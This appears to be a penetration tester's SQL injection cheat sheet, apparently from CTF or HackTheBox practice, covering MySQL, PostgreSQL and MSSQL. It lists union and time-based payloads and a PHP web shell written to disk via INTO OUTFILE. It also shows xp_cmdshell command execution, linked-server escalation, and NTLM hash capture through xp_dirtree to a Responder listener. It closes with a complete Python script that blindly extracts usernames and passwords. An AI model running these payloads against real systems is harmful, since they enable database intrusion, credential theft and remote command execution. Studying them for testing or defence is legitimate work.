SQLi/DB


Basics

1 OR 1=1-- -
1' OR 1=1-- -
1" OR 1=1-- -
admin'-- -

Time Based

# MySQL
exist' AND (select SLEEP(5))-- -
doesntexist' OR 0 in (select sleep(15) ) -- -

# PostgreSQL
1';SELECT PG_SLEEP(5)-- -
exist' AND 1=(select 1 from PG_SLEEP(5))-- -
1';CREATE TABLE hack(a text);copy hack from program 'sleep 10';DROP TABLE IF EXISTS hack;-- -

# MSSQL
1' WAITFOR DELAY '0:0:10'-- -
1';WAITFOR DELAY '0:0:10'-- -
1'; EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'ping 192.0.2.1 -n 1 -w 10000' -- -
1'; EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'powershell -c "Start-Sleep -Seconds 10"' -- -

Read/Write

# MySQL
select load_file('/etc/passwd');
select '<?php echo 1;?>' into OUTFILE '/var/www/html/test.php'
"  UNION SELECT NULL,NULL,'<?=`$_GET[0]`?>' into outfile 'C:\\xampp\\htdocs\\site1\\src\\test2.php' --

Union

doesnotexist' UNION SELECT 1,2,3,4,5,6;-- -
1' Union Select 'aaa','bbb','ccc','ddd','eee' -- -
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT 'abc',NULL,NULL--
' UNION SELECT username, password FROM users--
' UNION SELECT NULL,username||'~'||password FROM users--

# MySQL
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables

XML Encoding

You can convert chars to xml references such as numerical or hexadecimal values
# Hex
echo -n 's' | xxd -plain | sed 's/\(..\)/\&#x\1;/g'
echo -n 's' | python3 -c 'import sys;[print(f"&#x{ord(char):x};",end="") for char in sys.stdin.read()]'

# Dec
echo -n 's' | python3 -c 'import sys;[print(f"&#{ord(char)};",end="") for char in sys.stdin.read()]'

# Example: s == &#x73; == &#115;

Payload example
1 &#x75;nion &#x73;elect NULL

MSSQL

# Version
SELECT @@version

# Perms
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

# DBs
SELECT name FROM master.sys.databases

# Tables
SELECT * FROM myamazingdb.INFORMATION_SCHEMA.TABLES

# Exec
EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'whoami'
EXEC sp_configure 'show advanced options', 1 ; EXEC sp_configure 'xp_cmdshell', 1 ; RECONFIGURE ; EXEC xp_cmdshell 'ping 192.0.2.1 -n 1 -w 10000'

# User // host // domain
select user_name();
select DEFAULT_DOMAIN()

# List users we can impersonate
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

# Linked servers
SELECT * FROM sys.servers;
EXECUTE('select user_name()') AT "OTHERSRV"
EXECUTE('SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE''') AT "PRIMARY"
EXECUTE('EXECUTE AS LOGIN = ''sa'' EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''whoami'' ') AT "PRIMARY"

AD Enum

SELECT master.dbo.fn_varbintohexstr(SUSER_SID(CONCAT(DEFAULT_DOMAIN(),'\',HOST_NAME(),'$')))
'0x0105000000000005150000001c00d1bcd181f1492bdfc236e8030000'

Then remove the 8 last chars to get the domain sid.
And generate the SQL queries to retrieve all id from 1000 to 1300 (or higher)
import struct
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
def get_sid(n):
  user = struct.pack('<I', int(n))
  user = user.hex()
  return f"{domain}{user}"

for i in range(0,3):
  req="SELECT CONCAT("
  for id in range(1000+(i*100),1100+(i*100)):
    sid=get_sid(id)
    req+=f"SUSER_SNAME({sid}),'|',"
  req = req[:-1] + ")"
  print(req)

NTLM

You can try to trigger a connection and crack NTLMv2
# List folders
EXEC master.sys.xp_dirtree '\',1,1;

# If it works, then you can try to trigger a connection.
# First listen with responder
sudo python3 /opt/Responder/Responder.py -I tun0 -w

# Then call responder from MSSQL
EXEC master.sys.xp_dirtree '\\10.10.14.139\beepboop',1,1;

SQLmap

python3 /opt/sqlmap-dev/sqlmap.py -u "http://host.com/api/whatever" --level=5 --risk=1 --dbs --data '{"name":"*"}' --dbms=mssql --tamper=utf16 --ignore-code=403 --technique=BU --threads=1 --delay=1 --text-only

Tamper

Custom Tamper
cat <<'EOF'>/opt/sqlmap-dev/tamper/utf16.py
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
  pass

def tamper(payload, **kwargs):
  """
  Converts the SQL injection payload to UTF-16 encoding.
  """
  retVal = ""
  if payload:
    for char in payload:
      retVal += r'\u00'+hex(ord(char))[2:]
    payload = retVal
  return payload
EOF

Script

Automation of boolean SQLi
#!/usr/bin/python3
import http.client
import string
import ssl
import json

host = "sub.host.htb"
port = 443
url = "/search.php"

lowercase = string.ascii_lowercase
letters = string.ascii_letters
digits = string.digits
specials = "@{}-/()!\"$=^[]:;"
charset = letters + digits + specials

users=[]

def sendreq(req: str) -> bool:
    # print(req)
    # Define headers
    headers = {
        'Content-Type':'application/x-www-form-urlencoded',
    }

    # Create HTTP connection
    conn = http.client.HTTPSConnection(host, port, context = ssl._create_unverified_context())

    # Send the request
    conn.request("POST", url, body=req, headers=headers)

    # Get the response
    response = conn.getresponse()
    data = response.read()

    # Close the connection
    conn.close()

    if response.status != 200:
        print(f"Found code {response.status} (req:{req})")
        return False
    if "Text when true" in data.decode("utf-8", errors="ignore"):
        return True

    return False

def enumUsers():
    def buildReqLike(user):
        concat=""
        for l in user:
            concat += f"'{l}',"
        return f"q=' and (select count(username) from users where username like CONCAT({concat[:-1]},'%')) > 0 -- -"

    def buildReqExact(user):
        concat=""
        for l in user:
            concat += f"'{l}',"
        return f"q=' and (select count(username) from users where username = CONCAT({concat[:-1]})) > 0 -- -"

    guessqueue=[""]
    while len(guessqueue) > 0:
        incomplete = guessqueue.pop()
        for char in lowercase:
            guess = incomplete + char
            # print(guess)
            if sendreq(buildReqLike(guess)):
                guessqueue.append(guess)
                if sendreq(buildReqExact(guess)):
                    users.append(guess)
                    print(f"FOUND : {guess}")
                else:
                    print(f"INCOMPLETE : {guess}")
    print(json.dumps(users, indent=4))

def enumPasswords():
    def buildReqLike(user,password):
        concatpass=""
        for l in password:
            concatpass += f"'{l}',"
        concatuser=""
        for l in user:
            concatuser += f"'{l}',"
        return f"q=' and (select count(password) from users where username = CONCAT({concatuser[:-1]}) and password like CONCAT({concatpass[:-1]},'%')) > 0 -- -"

    for user in users:
        print(str(f"{user}:"), end='', flush=True)
        incomplete = ""
        charset = digits + lowercase
        loop=True
        while loop:
            for char in charset:
                guess = incomplete + char
                if sendreq(buildReqLike(user,guess)):
                    incomplete+=char
                    print(str(char), end='', flush=True)
                    break
                if char == charset[-1]:
                    loop=False
                    print()

enumUsers()
enumPasswords()